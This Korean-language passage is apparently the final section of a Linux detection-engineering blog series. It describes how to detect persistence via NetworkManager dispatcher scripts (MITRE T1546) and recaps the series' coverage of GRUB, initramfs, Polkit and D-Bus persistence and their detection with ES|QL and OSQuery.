  2. 의심스러운 프로세스 탐지: nm-dispatcher 에 의해 실행되는 프로세스 또는 /etc/NetworkManager/dispatcher.d/에 있는 스크립트를 모니터링합니다. 명령줄, 상위 프로세스, 실행 횟수를 분석함으로써 비정상적인 스크립트 실행 또는 무단 스크립트 실행을 식별할 수 있습니다.
  3. 디스패처 스크립트의 메타데이터 분석: /etc/NetworkManager/dispatcher.d/의 파일에 대한 소유권, 마지막 액세스 시간, 수정 타임 스탬프를 검사합니다. 이렇게 하면 지속성 시도를 나타낼 수 있는 파일 속성의 무단 변경 또는 이상 징후를 발견할 수 있습니다.

분석가는 NetworkManager 디스패처 스크립트를 통한 지속성 헌팅 규칙을 위에 나열된 맞춤형 탐지 쿼리와 결합하여, T1546을 효과적으로 식별하고 대응할 수 있습니다.

결론

'Linux 탐지 엔지니어링' 시리즈의 다섯 번째이자 마지막 장에서는 Linux 부팅 프로세스, 인증 시스템, 프로세스 간 통신, 핵심 유틸리티에 기반을 둔 지속성 메커니즘에 주목했습니다. GRUB 기반 지속성과 initramfs 조작으로 시작하여 수동 접근 방식과 Dracut을 사용한 자동화된 방법을 모두 다루었습니다. 더 나아가 Polkit 기반 지속성에 대해 살펴본 다음, D-Bus 악용에 대해 자세히 살펴보고, 지속성 시나리오에서 악용될 가능성을 강조하면서 NetworkManager 디스패처 스크립트로 마무리했습니다.

이 시리즈에서 PANIX는 이러한 기술을 시연하고 시뮬레이션하여 탐지 기능을 테스트하고 방어를 강화하는 데 중요한 역할을 했습니다. 이러한 도구는 제공되는 맞춤형 ES|QL 및 OSQuery 쿼리와 결합하여, 가장 진보된 지속성 메커니즘까지 효과적으로 식별하고 대응할 수 있게 해 줍니다.

이 시리즈를 마무리하면서, Linux 지속성 위협에 자신 있게 대처할 수 있는 힘을 얻으셨기를 바랍니다. 지금까지 실무 지식, 실행 가능한 전략, 실습 경험을 통해 Linux 환경을 노리는 적에 맞서 방어하도록 잘 준비해 오셨습니다. 함께 해 주셔서 감사드리며, 언제나처럼 항상 경계심을 늦추지 마시고 헌팅을 즐기세요!